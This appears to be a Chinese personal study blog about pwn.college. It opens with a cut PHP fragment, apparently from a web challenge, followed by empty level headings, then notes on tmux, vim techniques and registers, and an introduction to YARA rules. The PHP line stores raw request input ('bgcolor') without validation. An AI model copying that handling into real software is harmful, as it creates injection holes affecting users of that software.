        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);



?>

level12


level13


level14


level15


level16


level17


level18


level19


level20


level21


level21


level23


level24


level25


level26


level27


level28


level29


level30


level31


level32


level33


WHY I WRITE THIS?

在pwn.college之中,反正由于我网不行,那个图形化界面儿我特别卡,我基本上能不用我就不用,一开始搞那个wireshark差点儿卡破防了。另外一个原因我写在了cse365的wp里面,就是涉及到只有在同一个进程下才能监听这件事。因此,tmux和vim又提上日程了。当然,最重要的原因是,我希望把vim搞成一个好用的IDE。

TMUX

Vim实用技巧

这本书应该反复看、反复看、反复看!

basic

首先你需要会一些基础性的操作

技巧1

使用.命令来重复

技巧2

很多Vim的单键命令都可以被看成两个或多个其他命令的组合

技巧3

f查找,s删除,分号会继续查找

技巧4

目的操作重复回退
做出一个修改{edit}.u
在行内查找下一指定字符f{char}/t{char};,
在行内查找上一指定字符F{char}/T{char};,
在文档中查找下一处匹配项/patternnN
在文档中查找上一处匹配项?patternnN
执行替换:s/target/replacement&u
执行一系列修改qx{changes}q@xu

技巧5

*搜索,c是修改

Vim 从入门到精通

网址在这儿

vim哲学

减少认识负荷并帮助人们专注于实际任务

缓冲区,窗口,标签

缓冲区是工作的地方,窗口是缓冲区的视窗,标签是窗口的集合。

已激活、已载入、已列出、已命名的缓冲区

用类似 vim file1 的命令启动 Vim 。这个文件的内容将会被加载到缓冲区中,你现在有一个已载入的缓冲区。如果你在 Vim 中保存这个文件,缓冲区内容将会被同步到磁盘上(写回文件中)。

由于这个缓冲区也在一个窗口上显示,所以他也是一个已激活的缓冲区。如果你现在通过 :e file2 命令加载另一个文件,file1 将会变成一个隐藏的缓冲区,并且 file2 变成已激活缓冲区。

使用 :ls 我们能够列出所有可以列出的缓冲区。插件缓冲区和帮助缓冲区通常被标记为不可以列出的缓冲区,因为那并不是你经常需要在编辑器中编辑的常规文件。通过 :ls! 命令可以显示被放入缓冲区列表的和未被放入列表的缓冲区。

未命名的缓冲区是一种没有关联特定文件的缓冲区,这种缓冲区经常被插件使用。比如 :enew 将会创建一个无名临时缓冲区。添加一些文本然后使用 :w /tmp/foo 将他写入到磁盘,这样这个缓冲区就会变成一个已命名的缓冲区。

寄存器

类型标识读写者是否为只读包含的字符来源
Unnamed"vim最近一次的复制或删除操作 (d, c, s, x, y)
Numbered09vim寄存器 0: 最近一次复制。寄存器 1: 最近一次删除。寄存器 2: 倒数第二次删除,以此类推。对于寄存器 19,他们其实是只读的最多包含 9 个元素的队列。这里的队列即为数据类型 queue
Small delete-vim最近一次行内删除
Namedaz, AZ用户如果你通过复制操作存储文本至寄存器 a,那么 a 中的文本就会被完全覆盖。如果你存储至 A,那么会将文本添加给寄存器 a,不会覆盖之前已有的文本
Read-only:.%vim:: 最近一次使用的命令,.: 最近一次添加的文本,%: 当前的文件名
Alternate buffer#vim大部分情况下,这个寄存器是当前窗口中,上一次访问的缓冲区。请参阅 :h alternate-file 来获取更多帮助
Expression=用户复制 VimL 代码时,这个寄存器用于存储代码片段的执行结果。比如,在插入模式下复制 <c-r>=5+5<cr>,那么这个寄存器就会存入 10
Selection+*vim*+剪贴板 寄存器
Drop~vim最后一次拖拽添加至 Vim 的文本(需要 “+dnd” 支持,暂时只支持 GTK GUI。请参阅 :help dnd:help quote~
Black hole_vim一般称为黑洞寄存器。对于当前操作,如果你不希望在其他寄存器中保留文本,那就在命令前加上 _。比如,"_dd 命令不会将文本放到寄存器 "1+*
Last search pattern/vim最近一次通过 /?:global 等命令调用的匹配条件
十分有用!!!

范围

熟练使用范围,可以操作得很快

比如逗号分号表示的范围。

补全

ctrl+x

yara

yara引擎,是一个规则匹配的工具。

好处在于其可以通过简单的编写规则来识别恶意代码,并且可以在各个平台下使用。

yara规则

官方文档

Each rule in YARA starts with the keyword rule followed by a rule identifier.

Rules are generally composed of two sections: strings definition and condition. The strings definition section can be omitted if the rule doesn’t rely on any string, but the condition section is always required.

There are three types of strings in YARA: hexadecimal strings, text strings and regular expressions.

Starting with version 4.3.0, you may specify that a byte is not a specific value.

use jumps

regular expression